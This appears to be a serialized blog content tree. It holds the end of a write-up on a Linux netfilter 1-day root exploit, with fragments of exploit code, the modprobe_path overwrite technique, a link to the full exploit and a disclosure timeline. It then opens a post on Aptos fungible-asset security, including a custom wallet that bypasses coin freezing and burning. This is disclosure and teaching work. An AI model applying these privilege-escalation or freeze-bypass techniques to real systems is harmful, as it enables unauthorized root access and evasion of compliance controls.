",{"type":19,"tag":168,"props":58150,"children":58151},{"style":192},[58152],{"type":24,"value":55632},{"type":19,"tag":168,"props":58154,"children":58155},{"style":399},[58156],{"type":24,"value":48738},{"type":19,"tag":168,"props":58158,"children":58159},{"style":192},[58160],{"type":24,"value":58161}," 320",{"type":19,"tag":168,"props":58163,"children":58164},{"style":212},[58165],{"type":24,"value":481},{"type":19,"tag":168,"props":58167,"children":58168},{"style":399},[58169],{"type":24,"value":3240},{"type":19,"tag":168,"props":58171,"children":58172},{"style":192},[58173],{"type":24,"value":437},{"type":19,"tag":168,"props":58175,"children":58176},{"style":212},[58177],{"type":24,"value":557},{"type":19,"tag":168,"props":58179,"children":58180},{"class":170,"line":21242},[58181],{"type":19,"tag":168,"props":58182,"children":58183},{"style":212},[58184],{"type":24,"value":29167},{"type":19,"tag":168,"props":58186,"children":58187},{"class":170,"line":21250},[58188,58193,58197,58202],{"type":19,"tag":168,"props":58189,"children":58190},{"style":175},[58191],{"type":24,"value":58192}," perror",{"type":19,"tag":168,"props":58194,"children":58195},{"style":212},[58196],{"type":24,"value":500},{"type":19,"tag":168,"props":58198,"children":58199},{"style":181},[58200],{"type":24,"value":58201},"\"[-] read(socket)\"",{"type":19,"tag":168,"props":58203,"children":58204},{"style":212},[58205],{"type":24,"value":1249},{"type":19,"tag":168,"props":58207,"children":58208},{"class":170,"line":21287},[58209,58214,58218,58222],{"type":19,"tag":168,"props":58210,"children":58211},{"style":419},[58212],{"type":24,"value":58213}," return",{"type":19,"tag":168,"props":58215,"children":58216},{"style":399},[58217],{"type":24,"value":48738},{"type":19,"tag":168,"props":58219,"children":58220},{"style":192},[58221],{"type":24,"value":1442},{"type":19,"tag":168,"props":58223,"children":58224},{"style":212},[58225],{"type":24,"value":412},{"type":19,"tag":168,"props":58227,"children":58228},{"class":170,"line":21300},[58229],{"type":19,"tag":168,"props":58230,"children":58231},{"style":212},[58232],{"type":24,"value":56369},{"type":19,"tag":168,"props":58234,"children":58235},{"class":170,"line":21313},[58236],{"type":19,"tag":168,"props":58237,"children":58238},{"style":212},[58239],{"type":24,"value":752},{"type":19,"tag":168,"props":58241,"children":58242},{"class":170,"line":21326},[58243],{"type":19,"tag":168,"props":58244,"children":58245},{"style":212},[58246],{"type":24,"value":761},{"type":19,"tag":168,"props":58248,"children":58249},{"class":170,"line":21380},[58250,58254,58258,58263],{"type":19,"tag":168,"props":58251,"children":58252},{"style":175},[58253],{"type":24,"value":52990},{"type":19,"tag":168,"props":58255,"children":58256},{"style":212},[58257],{"type":24,"value":500},{"type":19,"tag":168,"props":58259,"children":58260},{"style":181},[58261],{"type":24,"value":58262},"\"[-] fake modprobe failed\"",{"type":19,"tag":168,"props":58264,"children":58265},{"style":212},[58266],{"type":24,"value":1249},{"type":19,"tag":168,"props":58268,"children":58269},{"class":170,"line":21389},[58270],{"type":19,"tag":168,"props":58271,"children":58272},{"style":212},[58273],{"type":24,"value":7761},{"type":19,"tag":20,"props":58275,"children":58276},{},[58277,58279,58286],{"type":24,"value":58278},"This trick has already been throughly detailed by ",{"type":19,"tag":269,"props":58280,"children":58283},{"href":58281,"rel":58282},"https://pwning.tech/nftables/#28-overwriting-modprobepath",[273],[58284],{"type":24,"value":58285},"lau",{"type":24,"value":58287},", so we won't go much more into it.",{"type":19,"tag":7050,"props":58289,"children":58291},{"id":58290},"universal-exploit-demo",[58292],{"type":24,"value":58293},"Universal exploit demo",{"type":19,"tag":20,"props":58295,"children":58296},{},[58297,58299,58305],{"type":24,"value":58298},"{%youtube tjbp4Mtfo8w %}\nYou can find the complete universal exploit in our ",{"type":19,"tag":269,"props":58300,"children":58303},{"href":58301,"rel":58302},"https://github.com/otter-sec/OtterRoot/blob/master/universal/exploit.c",[273],[58304],{"type":24,"value":54899},{"type":24,"value":948},{"type":19,"tag":36,"props":58307,"children":58309},{"id":58308},"disclosure-timeline",[58310],{"type":24,"value":58311},"Disclosure Timeline",{"type":19,"tag":43,"props":58313,"children":58314},{},[58315,58320,58325,58330,58335],{"type":19,"tag":47,"props":58316,"children":58317},{},[58318],{"type":24,"value":58319},"March 21st -- Patch made public",{"type":19,"tag":47,"props":58321,"children":58322},{},[58323],{"type":24,"value":58324},"March 23rd -- Scrolled through commits and found the bug fix.",{"type":19,"tag":47,"props":58326,"children":58327},{},[58328],{"type":24,"value":58329},"March 24th -- Wrote KernelCTF exploit",{"type":19,"tag":47,"props":58331,"children":58332},{},[58333],{"type":24,"value":58334},"March 26th -- Wrote Universal exploit",{"type":19,"tag":47,"props":58336,"children":58337},{},[58338],{"type":24,"value":58339},"May 23rd -- Patch landed on Ubuntu and Debian",{"type":19,"tag":20,"props":58341,"children":58342},{},[58343],{"type":24,"value":58344},"Note that the universal exploit was alive for roughly 2 months against popular distros.",{"type":19,"tag":36,"props":58346,"children":58347},{"id":26402},[58348],{"type":24,"value":16400},{"type":19,"tag":20,"props":58350,"children":58351},{},[58352],{"type":24,"value":58353},"In this post, I have discussed how a bug fixed by a commit freshly made public can be used to exploit the latest stable releases of the kernel and maintain 0day-like primitives for an extended period. I've also discussed two different paths to exploit the vulnerability: one that I used to exploit the KernelCTF instance and retrieve the flag and a second one that I used to craft a universal exploit binary that works stably in all tested targets without needing to be adapted or even recompiled.",{"type":19,"tag":20,"props":58355,"children":58356},{},[58357],{"type":24,"value":58358},"What we have observed is not novel; despite the efforts and progress made by the Linux community to improve kernel security, it's been made evident that the supply of exploitable bugs is still virtually unlimited and that the open-source patch gap is long enough to maintain capabilities that are live.",{"type":19,"tag":232,"props":58360,"children":58361},{},[58362],{"type":24,"value":236},{"title":7,"searchDepth":198,"depth":198,"links":58364},[58365,58368,58371,58374,58375,58385,58393,58394],{"id":48050,"depth":198,"text":48053,"children":58366},[58367],{"id":48071,"depth":415,"text":48074},{"id":48114,"depth":198,"text":48114,"children":58369},[58370],{"id":48161,"depth":415,"text":48164},{"id":48219,"depth":198,"text":48222,"children":58372},[58373],{"id":49382,"depth":415,"text":49385},{"id":51257,"depth":198,"text":51260},{"id":51659,"depth":198,"text":51662,"children":58376},[58377,58378,58379,58381,58382,58383,58384],{"id":51686,"depth":415,"text":51689},{"id":52568,"depth":415,"text":52571},{"id":53154,"depth":415,"text":58380},"Leaking self pointer of nft_object",{"id":53552,"depth":415,"text":53555},{"id":54066,"depth":415,"text":54069},{"id":54196,"depth":415,"text":53853},{"id":54880,"depth":415,"text":54883},{"id":54903,"depth":198,"text":54906,"children":58386},[58387,58388,58389,58390,58392],{"id":54914,"depth":415,"text":54917},{"id":55772,"depth":415,"text":55775},{"id":55848,"depth":415,"text":55851},{"id":57473,"depth":415,"text":58391},"Overwriting modprobe_path",{"id":58290,"depth":415,"text":58293},{"id":58308,"depth":198,"text":58311},{"id":26402,"depth":198,"text":16400},"content:blog:2024-11-25-netfilter-universal-root-1-day.md","blog/2024-11-25-netfilter-universal-root-1-day.md","blog/2024-11-25-netfilter-universal-root-1-day",{"_path":58399,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":58400,"description":58401,"image":58402,"date":58404,"isFeatured":14,"onBlogPage":14,"tags":58405,"body":58406,"_type":242,"_id":65124,"_source":244,"_file":65125,"_stem":65126,"_extension":247},"/blog/2025-02-10-hitchhikers-guide-to-aptos-fungible-assets","Hitchhiker's Guide to Aptos Fungible Assets","We take a deep dive into Aptos’ implementation of fungible assets, exploring the intricacies hidden within its functions, objects, and interactions. While the Fungible Asset model was designed to address the limitations and security flaws of the legacy Coin standard, it also introduced new challenges and vulnerabilities that developers should be aware of.",{"src":58403,"width":2817,"height":2818},"/posts/aptos-guide/title.png","2025-02-10",[3314],{"type":16,"children":58407,"toc":65108},[58408,58421,58426,58435,58441,58469,58542,58582,58616,58777,58796,58877,58917,58945,58962,58967,58975,58980,58986,59007,59087,59120,59128,59141,59146,59530,59535,59540,59546,59551,59563,59667,59705,59708,59726,60034,60039,60051,60057,60083,60104,60109,60288,60308,60314,60334,60346,60351,60357,60369,60432,60459,60483,60704,60707,60726,60836,60893,61029,61056,61062,61088,61332,61360,61662,61695,61709,61735,61768,62075,62087,62364,62378,62695,62714,62720,62752,62792,62893,62913,63033,63050,63124,63136,63224,63245,63251,63256,63261,63278,63299,63670,63729,63734,64185,64190,64226,64232,64244,64266,64292,64499,64513,64768,64780,64807,64958,64977,65007,65011,65022,65027,65040,65104],{"type":19,"tag":20,"props":58409,"children":58410},{},[58411,58413,58419],{"type":24,"value":58412},"Aptos’ fungible asset model is a complex component of its ecosystem, designed to address the limitations of its predecessor — the ",{"type":19,"tag":27,"props":58414,"children":58416},{"className":58415},[],[58417],{"type":24,"value":58418},"coin",{"type":24,"value":58420}," standard. While the new model aims to enhance functionality and security, it also comes with its own set of challenges.",{"type":19,"tag":20,"props":58422,"children":58423},{},[58424],{"type":24,"value":58425},"In this blog post, we'll closely examine Aptos's coin and fungible asset models, exploring their history and connection. We will examine key aspects of the fungible asset framework, including real-world examples of vulnerabilities that were identified and addressed, with the goal of improving security and reliability — all to help you build more secure and reliable applications.",{"type":19,"tag":58427,"props":58428,"children":58429},"important",{},[58430],{"type":19,"tag":20,"props":58431,"children":58432},{},[58433],{"type":24,"value":58434},"All issues mentioned were identified and addressed during Aptos' rigorous pre-release audits, demonstrating the project's dedication to delivering a robust and secure environment from day one.",{"type":19,"tag":36,"props":58436,"children":58438},{"id":58437},"aptos-coin-standard",[58439],{"type":24,"value":58440},"Aptos Coin standard",{"type":19,"tag":20,"props":58442,"children":58443},{},[58444,58446,58452,58454,58459,58460,58467],{"type":24,"value":58445},"In the beginning, Aptos used ",{"type":19,"tag":27,"props":58447,"children":58449},{"className":58448},[],[58450],{"type":24,"value":58451},"Coin",{"type":24,"value":58453},". It is still in use, although it is now considered \"legacy\". ",{"type":19,"tag":27,"props":58455,"children":58457},{"className":58456},[],[58458],{"type":24,"value":58451},{"type":24,"value":2934},{"type":19,"tag":269,"props":58461,"children":58464},{"href":58462,"rel":58463},"https://github.com/aptos-labs/aptos-core/blob/1381c93fd5a656f16fb326d4ffe371947554a330/aptos-move/framework/aptos-framework/sources/coin.move#L119-L123",[273],[58465],{"type":24,"value":58466},"defined",{"type":24,"value":58468}," in Aptos as follows:",{"type":19,"tag":158,"props":58470,"children":58472},{"className":363,"code":58471,"language":362,"meta":7,"style":7},"struct Coin\u003Cphantom CoinType> has store {\n value: u64,\n}\n",[58473],{"type":19,"tag":27,"props":58474,"children":58475},{"__ignoreMap":7},[58476,58515,58535],{"type":19,"tag":168,"props":58477,"children":58478},{"class":170,"line":171},[58479,58483,58487,58491,58495,58499,58503,58507,58511],{"type":19,"tag":168,"props":58480,"children":58481},{"style":382},[58482],{"type":24,"value":6842},{"type":19,"tag":168,"props":58484,"children":58485},{"style":825},[58486],{"type":24,"value":3235},{"type":19,"tag":168,"props":58488,"children":58489},{"style":212},[58490],{"type":24,"value":3240},{"type":19,"tag":168,"props":58492,"children":58493},{"style":393},[58494],{"type":24,"value":3245},{"type":19,"tag":168,"props":58496,"children":58497},{"style":825},[58498],{"type":24,"value":3250},{"type":19,"tag":168,"props":58500,"children":58501},{"style":212},[58502],{"type":24,"value":3255},{"type":19,"tag":168,"props":58504,"children":58505},{"style":393},[58506],{"type":24,"value":3260},{"type":19,"tag":168,"props":58508,"children":58509},{"style":393},[58510],{"type":24,"value":3265},{"type":19,"tag":168,"props":58512,"children":58513},{"style":212},[58514],{"type":24,"value":691},{"type":19,"tag":168,"props":58516,"children":58517},{"class":170,"line":198},[58518,58523,58527,58531],{"type":19,"tag":168,"props":58519,"children":58520},{"style":393},[58521],{"type":24,"value":58522}," value",{"type":19,"tag":168,"props":58524,"children":58525},{"style":399},[58526],{"type":24,"value":1922},{"type":19,"tag":168,"props":58528,"children":58529},{"style":825},[58530],{"type":24,"value":3294},{"type":19,"tag":168,"props":58532,"children":58533},{"style":212},[58534],{"type":24,"value":915},{"type":19,"tag":168,"props":58536,"children":58537},{"class":170,"line":415},[58538],{"type":19,"tag":168,"props":58539,"children":58540},{"style":212},[58541],{"type":24,"value":1326},{"type":19,"tag":20,"props":58543,"children":58544},{},[58545,58547,58552,58554,58560,58561,58567,58569,58574,58576,58581],{"type":24,"value":58546},"Aptos distinguishes coins by their type (",{"type":19,"tag":27,"props":58548,"children":58550},{"className":58549},[],[58551],{"type":24,"value":4019},{"type":24,"value":58553},") at compile time. For example, ",{"type":19,"tag":27,"props":58555,"children":58557},{"className":58556},[],[58558],{"type":24,"value":58559},"Coin\u003COtter>",{"type":24,"value":8436},{"type":19,"tag":27,"props":58562,"children":58564},{"className":58563},[],[58565],{"type":24,"value":58566},"Coin\u003CWeasel>",{"type":24,"value":58568}," represent different coins, and you cannot pass a ",{"type":19,"tag":27,"props":58570,"children":58572},{"className":58571},[],[58573],{"type":24,"value":58566},{"type":24,"value":58575}," to a function expecting ",{"type":19,"tag":27,"props":58577,"children":58579},{"className":58578},[],[58580],{"type":24,"value":58559},{"type":24,"value":948},{"type":19,"tag":20,"props":58583,"children":58584},{},[58585,58587,58592,58594,58599,58601,58606,58608,58614],{"type":24,"value":58586},"The type signature reveals why ",{"type":19,"tag":27,"props":58588,"children":58590},{"className":58589},[],[58591],{"type":24,"value":58451},{"type":24,"value":58593}," has become a legacy standard. ",{"type":19,"tag":27,"props":58595,"children":58597},{"className":58596},[],[58598],{"type":24,"value":58451},{"type":24,"value":58600}," has only the ",{"type":19,"tag":27,"props":58602,"children":58604},{"className":58603},[],[58605],{"type":24,"value":3375},{"type":24,"value":58607}," ability and uses a ",{"type":19,"tag":27,"props":58609,"children":58611},{"className":58610},[],[58612],{"type":24,"value":58613},"CoinStore",{"type":24,"value":58615}," wrapper to store the coin and metadata:",{"type":19,"tag":158,"props":58617,"children":58619},{"className":363,"code":58618,"language":362,"meta":7,"style":7},"struct CoinStore\u003Cphantom CoinType> has key {\n coin: Coin\u003CCoinType>,\n frozen: bool,\n deposit_events: EventHandle\u003CDepositEvent>,\n withdraw_events: EventHandle\u003CWithdrawEvent>,\n}\n",[58620],{"type":19,"tag":27,"props":58621,"children":58622},{"__ignoreMap":7},[58623,58663,58691,58711,58741,58770],{"type":19,"tag":168,"props":58624,"children":58625},{"class":170,"line":171},[58626,58630,58635,58639,58643,58647,58651,58655,58659],{"type":19,"tag":168,"props":58627,"children":58628},{"style":382},[58629],{"type":24,"value":6842},{"type":19,"tag":168,"props":58631,"children":58632},{"style":825},[58633],{"type":24,"value":58634}," CoinStore",{"type":19,"tag":168,"props":58636,"children":58637},{"style":212},[58638],{"type":24,"value":3240},{"type":19,"tag":168,"props":58640,"children":58641},{"style":393},[58642],{"type":24,"value":3245},{"type":19,"tag":168,"props":58644,"children":58645},{"style":825},[58646],{"type":24,"value":3250},{"type":19,"tag":168,"props":58648,"children":58649},{"style":212},[58650],{"type":24,"value":3255},{"type":19,"tag":168,"props":58652,"children":58653},{"style":393},[58654],{"type":24,"value":3260},{"type":19,"tag":168,"props":58656,"children":58657},{"style":393},[58658],{"type":24,"value":3366},{"type":19,"tag":168,"props":58660,"children":58661},{"style":212},[58662],{"type":24,"value":691},{"type":19,"tag":168,"props":58664,"children":58665},{"class":170,"line":198},[58666,58671,58675,58679,58683,58687],{"type":19,"tag":168,"props":58667,"children":58668},{"style":393},[58669],{"type":24,"value":58670}," coin",{"type":19,"tag":168,"props":58672,"children":58673},{"style":399},[58674],{"type":24,"value":1922},{"type":19,"tag":168,"props":58676,"children":58677},{"style":825},[58678],{"type":24,"value":3235},{"type":19,"tag":168,"props":58680,"children":58681},{"style":212},[58682],{"type":24,"value":3240},{"type":19,"tag":168,"props":58684,"children":58685},{"style":825},[58686],{"type":24,"value":4019},{"type":19,"tag":168,"props":58688,"children":58689},{"style":212},[58690],{"type":24,"value":3573},{"type":19,"tag":168,"props":58692,"children":58693},{"class":170,"line":415},[58694,58699,58703,58707],{"type":19,"tag":168,"props":58695,"children":58696},{"style":393},[58697],{"type":24,"value":58698}," frozen",{"type":19,"tag":168,"props":58700,"children":58701},{"style":399},[58702],{"type":24,"value":1922},{"type":19,"tag":168,"props":58704,"children":58705},{"style":825},[58706],{"type":24,"value":9495},{"type":19,"tag":168,"props":58708,"children":58709},{"style":212},[58710],{"type":24,"value":915},{"type":19,"tag":168,"props":58712,"children":58713},{"class":170,"line":450},[58714,58719,58723,58728,58732,58737],{"type":19,"tag":168,"props":58715,"children":58716},{"style":393},[58717],{"type":24,"value":58718}," deposit_events",{"type":19,"tag":168,"props":58720,"children":58721},{"style":399},[58722],{"type":24,"value":1922},{"type":19,"tag":168,"props":58724,"children":58725},{"style":825},[58726],{"type":24,"value":58727}," EventHandle",{"type":19,"tag":168,"props":58729,"children":58730},{"style":212},[58731],{"type":24,"value":3240},{"type":19,"tag":168,"props":58733,"children":58734},{"style":825},[58735],{"type":24,"value":58736},"DepositEvent",{"type":19,"tag":168,"props":58738,"children":58739},{"style":212},[58740],{"type":24,"value":3573},{"type":19,"tag":168,"props":58742,"children":58743},{"class":170,"line":560},[58744,58749,58753,58757,58761,58766],{"type":19,"tag":168,"props":58745,"children":58746},{"style":393},[58747],{"type":24,"value":58748}," withdraw_events",{"type":19,"tag":168,"props":58750,"children":58751},{"style":399},[58752],{"type":24,"value":1922},{"type":19,"tag":168,"props":58754,"children":58755},{"style":825},[58756],{"type":24,"value":58727},{"type":19,"tag":168,"props":58758,"children":58759},{"style":212},[58760],{"type":24,"value":3240},{"type":19,"tag":168,"props":58762,"children":58763},{"style":825},[58764],{"type":24,"value":58765},"WithdrawEvent",{"type":19,"tag":168,"props":58767,"children":58768},{"style":212},[58769],{"type":24,"value":3573},{"type":19,"tag":168,"props":58771,"children":58772},{"class":170,"line":666},[58773],{"type":19,"tag":168,"props":58774,"children":58775},{"style":212},[58776],{"type":24,"value":1326},{"type":19,"tag":20,"props":58778,"children":58779},{},[58780,58782,58787,58789,58794],{"type":24,"value":58781},"However, an astute reader would note that this isn't the only place a ",{"type":19,"tag":27,"props":58783,"children":58785},{"className":58784},[],[58786],{"type":24,"value":58451},{"type":24,"value":58788}," can be stored. You can create your own ",{"type":19,"tag":27,"props":58790,"children":58792},{"className":58791},[],[58793],{"type":24,"value":58451},{"type":24,"value":58795}," wallet, which could look like this:",{"type":19,"tag":158,"props":58797,"children":58799},{"className":363,"code":58798,"language":362,"meta":7,"style":7},"struct DefinitelyLegitCoinStore\u003Cphantom CoinType> has key {\n coin: Coin\u003CCoinType>\n}\n",[58800],{"type":19,"tag":27,"props":58801,"children":58802},{"__ignoreMap":7},[58803,58843,58870],{"type":19,"tag":168,"props":58804,"children":58805},{"class":170,"line":171},[58806,58810,58815,58819,58823,58827,58831,58835,58839],{"type":19,"tag":168,"props":58807,"children":58808},{"style":382},[58809],{"type":24,"value":6842},{"type":19,"tag":168,"props":58811,"children":58812},{"style":825},[58813],{"type":24,"value":58814}," DefinitelyLegitCoinStore",{"type":19,"tag":168,"props":58816,"children":58817},{"style":212},[58818],{"type":24,"value":3240},{"type":19,"tag":168,"props":58820,"children":58821},{"style":393},[58822],{"type":24,"value":3245},{"type":19,"tag":168,"props":58824,"children":58825},{"style":825},[58826],{"type":24,"value":3250},{"type":19,"tag":168,"props":58828,"children":58829},{"style":212},[58830],{"type":24,"value":3255},{"type":19,"tag":168,"props":58832,"children":58833},{"style":393},[58834],{"type":24,"value":3260},{"type":19,"tag":168,"props":58836,"children":58837},{"style":393},[58838],{"type":24,"value":3366},{"type":19,"tag":168,"props":58840,"children":58841},{"style":212},[58842],{"type":24,"value":691},{"type":19,"tag":168,"props":58844,"children":58845},{"class":170,"line":198},[58846,58850,58854,58858,58862,58866],{"type":19,"tag":168,"props":58847,"children":58848},{"style":393},[58849],{"type":24,"value":58670},{"type":19,"tag":168,"props":58851,"children":58852},{"style":399},[58853],{"type":24,"value":1922},{"type":19,"tag":168,"props":58855,"children":58856},{"style":825},[58857],{"type":24,"value":3235},{"type":19,"tag":168,"props":58859,"children":58860},{"style":212},[58861],{"type":24,"value":3240},{"type":19,"tag":168,"props":58863,"children":58864},{"style":825},[58865],{"type":24,"value":4019},{"type":19,"tag":168,"props":58867,"children":58868},{"style":212},[58869],{"type":24,"value":3427},{"type":19,"tag":168,"props":58871,"children":58872},{"class":170,"line":415},[58873],{"type":19,"tag":168,"props":58874,"children":58875},{"style":212},[58876],{"type":24,"value":1326},{"type":19,"tag":20,"props":58878,"children":58879},{},[58880,58885,58887,58893,58895,58900,58902,58908,58910,58915],{"type":19,"tag":27,"props":58881,"children":58883},{"className":58882},[],[58884],{"type":24,"value":58613},{"type":24,"value":58886}," includes a ",{"type":19,"tag":27,"props":58888,"children":58890},{"className":58889},[],[58891],{"type":24,"value":58892},"frozen",{"type":24,"value":58894}," field, allowing the issuer to block transfers to and from the store. ",{"type":19,"tag":27,"props":58896,"children":58898},{"className":58897},[],[58899],{"type":24,"value":58613},{"type":24,"value":58901}," is also required for a ",{"type":19,"tag":27,"props":58903,"children":58905},{"className":58904},[],[58906],{"type":24,"value":58907},"burn_from",{"type":24,"value":58909}," operation, which withdraws the ",{"type":19,"tag":27,"props":58911,"children":58913},{"className":58912},[],[58914],{"type":24,"value":58418},{"type":24,"value":58916}," from the store and destroys it. Freezing and burning operations are essential i.e. for stablecoin issuers, using them as compliance tools to prevent unauthorized or illegal transactions and adhere to legal orders. Being able to bypass these restrictions with a custom wallet is an issue and can lead to severe consequences.",{"type":19,"tag":20,"props":58918,"children":58919},{},[58920,58922,58927,58929,58936,58938,58943],{"type":24,"value":58921},"Storing ",{"type":19,"tag":27,"props":58923,"children":58925},{"className":58924},[],[58926],{"type":24,"value":58418},{"type":24,"value":58928}," in a custom wallet is also a problem in terms of off-chain observability, as finding the stored coins in such setup is a difficult task. This is how the fungible asset ",{"type":19,"tag":269,"props":58930,"children":58933},{"href":58931,"rel":58932},"https://github.com/aptos-foundation/AIPs/blob/ac3da48db226cf2dbaf4df6f1f5109a4f1b2e604/aips/aip-21.md",[273],[58934],{"type":24,"value":58935},"AIP-21",{"type":24,"value":58937}," summarizes the ",{"type":19,"tag":27,"props":58939,"children":58941},{"className":58940},[],[58942],{"type":24,"value":58418},{"type":24,"value":58944}," problems:",{"type":19,"tag":315,"props":58946,"children":58947},{},[58948,58957],{"type":19,"tag":20,"props":58949,"children":58950},{},[58951,58955],{"type":19,"tag":168,"props":58952,"children":58953},{},[58954],{"type":24,"value":7032},{"type":24,"value":58956}," coin module has been deemed insufficient for current and future needs due to the rigidity of Move structs and the inherently poor extensibility.",{"type":19,"tag":20,"props":58958,"children":58959},{},[58960],{"type":24,"value":58961},"The existing Coin struct leverages the store ability allowing for assets on-chain to become untraceable. Creating challenges to off-chain observability and on-chain management, such as freezing or burning.",{"type":19,"tag":20,"props":58963,"children":58964},{},[58965],{"type":24,"value":58966},"And declares, that:",{"type":19,"tag":315,"props":58968,"children":58969},{},[58970],{"type":19,"tag":20,"props":58971,"children":58972},{},[58973],{"type":24,"value":58974},"Fungible assets addresses these issues.",{"type":19,"tag":20,"props":58976,"children":58977},{},[58978],{"type":24,"value":58979},"Let's find out whether this is indeed the case.",{"type":19,"tag":36,"props":58981,"children":58983},{"id":58982},"the-fungible-assets",[58984],{"type":24,"value":58985},"The fungible assets",{"type":19,"tag":20,"props":58987,"children":58988},{},[58989,58991,58997,58999,59006],{"type":24,"value":58990},"Aptos designed fungible assets as a new token standard to solve these problems. A ",{"type":19,"tag":27,"props":58992,"children":58994},{"className":58993},[],[58995],{"type":24,"value":58996},"FungibleAsset",{"type":24,"value":58998}," uses the ",{"type":19,"tag":269,"props":59000,"children":59003},{"href":59001,"rel":59002},"https://medium.com/@borispovod/move-hot-potato-pattern-bbc48a48d93c",[273],[59004],{"type":24,"value":59005},"hot-potato pattern",{"type":24,"value":1922},{"type":19,"tag":158,"props":59008,"children":59010},{"className":363,"code":59009,"language":362,"meta":7,"style":7},"struct FungibleAsset {\n metadata: Object\u003CMetadata>,\n amount: u64,\n}\n",[59011],{"type":19,"tag":27,"props":59012,"children":59013},{"__ignoreMap":7},[59014,59030,59060,59080],{"type":19,"tag":168,"props":59015,"children":59016},{"class":170,"line":171},[59017,59021,59026],{"type":19,"tag":168,"props":59018,"children":59019},{"style":382},[59020],{"type":24,"value":6842},{"type":19,"tag":168,"props":59022,"children":59023},{"style":825},[59024],{"type":24,"value":59025}," FungibleAsset",{"type":19,"tag":168,"props":59027,"children":59028},{"style":212},[59029],{"type":24,"value":691},{"type":19,"tag":168,"props":59031,"children":59032},{"class":170,"line":198},[59033,59038,59042,59047,59051,59056],{"type":19,"tag":168,"props":59034,"children":59035},{"style":393},[59036],{"type":24,"value":59037}," metadata",{"type":19,"tag":168,"props":59039,"children":59040},{"style":399},[59041],{"type":24,"value":1922},{"type":19,"tag":168,"props":59043,"children":59044},{"style":825},[59045],{"type":24,"value":59046}," Object",{"type":19,"tag":168,"props":59048,"children":59049},{"style":212},[59050],{"type":24,"value":3240},{"type":19,"tag":168,"props":59052,"children":59053},{"style":825},[59054],{"type":24,"value":59055},"Metadata",{"type":19,"tag":168,"props":59057,"children":59058},{"style":212},[59059],{"type":24,"value":3573},{"type":19,"tag":168,"props":59061,"children":59062},{"class":170,"line":415},[59063,59068,59072,59076],{"type":19,"tag":168,"props":59064,"children":59065},{"style":393},[59066],{"type":24,"value":59067}," amount",{"type":19,"tag":168,"props":59069,"children":59070},{"style":399},[59071],{"type":24,"value":1922},{"type":19,"tag":168,"props":59073,"children":59074},{"style":825},[59075],{"type":24,"value":3294},{"type":19,"tag":168,"props":59077,"children":59078},{"style":212},[59079],{"type":24,"value":915},{"type":19,"tag":168,"props":59081,"children":59082},{"class":170,"line":450},[59083],{"type":19,"tag":168,"props":59084,"children":59085},{"style":212},[59086],{"type":24,"value":1326},{"type":19,"tag":20,"props":59088,"children":59089},{},[59090,59092,59097,59098,59103,59105,59110,59112,59119],{"type":24,"value":59091},"Unlike ",{"type":19,"tag":27,"props":59093,"children":59095},{"className":59094},[],[59096],{"type":24,"value":58451},{"type":24,"value":471},{"type":19,"tag":27,"props":59099,"children":59101},{"className":59100},[],[59102],{"type":24,"value":58996},{"type":24,"value":59104}," types are defined at runtime through the ",{"type":19,"tag":27,"props":59106,"children":59108},{"className":59107},[],[59109],{"type":24,"value":59055},{"type":24,"value":59111}," field. This change was meant to ",{"type":19,"tag":269,"props":59113,"children":59116},{"href":59114,"rel":59115},"https://github.com/aptos-foundation/AIPs/blob/main/aips/aip-21.md#specification",[273],[59117],{"type":24,"value":59118},"enhance extensibility",{"type":24,"value":1922},{"type":19,"tag":315,"props":59121,"children":59122},{},[59123],{"type":19,"tag":20,"props":59124,"children":59125},{},[59126],{"type":24,"value":59127},"An object can have other resources attached to provide additional context. For example, the metadata could define a gem of a given type, color, quality, and rarity, where ownership indicates the quantity or total weight owned of that type of gem.",{"type":19,"tag":20,"props":59129,"children":59130},{},[59131,59133,59139],{"type":24,"value":59132},"An important implication is that functions accepting ",{"type":19,"tag":27,"props":59134,"children":59136},{"className":59135},[],[59137],{"type":24,"value":59138},"FungibleAssets",{"type":24,"value":59140}," must verify the metadata to ensure valid assets.",{"type":19,"tag":20,"props":59142,"children":59143},{},[59144],{"type":24,"value":59145},"Let's consider a possible implementation of a protocol that takes in assets.",{"type":19,"tag":158,"props":59147,"children":59149},{"className":363,"code":59148,"language":362,"meta":7,"style":7},"public fun deposit\u003CT: key>(\n sender: &signer, fa: FungibleAsset\n) acquires [...] {\n assert_not_paused();\n \n let fa_amount = fungible_asset::amount(&fa);\n let sender_address = address_of(sender);\n check_compliance(fa_amount, sender_address);\n \n increase_deposit(get_vault(sender_address), fa_amount);\n \n primary_fungible_store::deposit(global_vault_address(), fa);\n \n event::emit(Deposit {sender_address, fa_amount})\n}\n",[59150],{"type":19,"tag":27,"props":59151,"children":59152},{"__ignoreMap":7},[59153,59190,59228,59252,59264,59272,59317,59351,59381,59388,59425,59432,59470,59477,59523],{"type":19,"tag":168,"props":59154,"children":59155},{"class":170,"line":171},[59156,59161,59165,59170,59174,59178,59182,59186],{"type":19,"tag":168,"props":59157,"children":59158},{"style":393},[59159],{"type":24,"value":59160},"public",{"type":19,"tag":168,"props":59162,"children":59163},{"style":393},[59164],{"type":24,"value":3642},{"type":19,"tag":168,"props":59166,"children":59167},{"style":393},[59168],{"type":24,"value":59169}," deposit",{"type":19,"tag":168,"props":59171,"children":59172},{"style":212},[59173],{"type":24,"value":3240},{"type":19,"tag":168,"props":59175,"children":59176},{"style":825},[59177],{"type":24,"value":3422},{"type":19,"tag":168,"props":59179,"children":59180},{"style":399},[59181],{"type":24,"value":1922},{"type":19,"tag":168,"props":59183,"children":59184},{"style":393},[59185],{"type":24,"value":3366},{"type":19,"tag":168,"props":59187,"children":59188},{"style":212},[59189],{"type":24,"value":4024},{"type":19,"tag":168,"props":59191,"children":59192},{"class":170,"line":198},[59193,59198,59202,59206,59210,59214,59219,59223],{"type":19,"tag":168,"props":59194,"children":59195},{"style":393},[59196],{"type":24,"value":59197}," sender",{"type":19,"tag":168,"props":59199,"children":59200},{"style":399},[59201],{"type":24,"value":1922},{"type":19,"tag":168,"props":59203,"children":59204},{"style":399},[59205],{"type":24,"value":4577},{"type":19,"tag":168,"props":59207,"children":59208},{"style":393},[59209],{"type":24,"value":4582},{"type":19,"tag":168,"props":59211,"children":59212},{"style":212},[59213],{"type":24,"value":471},{"type":19,"tag":168,"props":59215,"children":59216},{"style":393},[59217],{"type":24,"value":59218},"fa",{"type":19,"tag":168,"props":59220,"children":59221},{"style":399},[59222],{"type":24,"value":1922},{"type":19,"tag":168,"props":59224,"children":59225},{"style":825},[59226],{"type":24,"value":59227}," 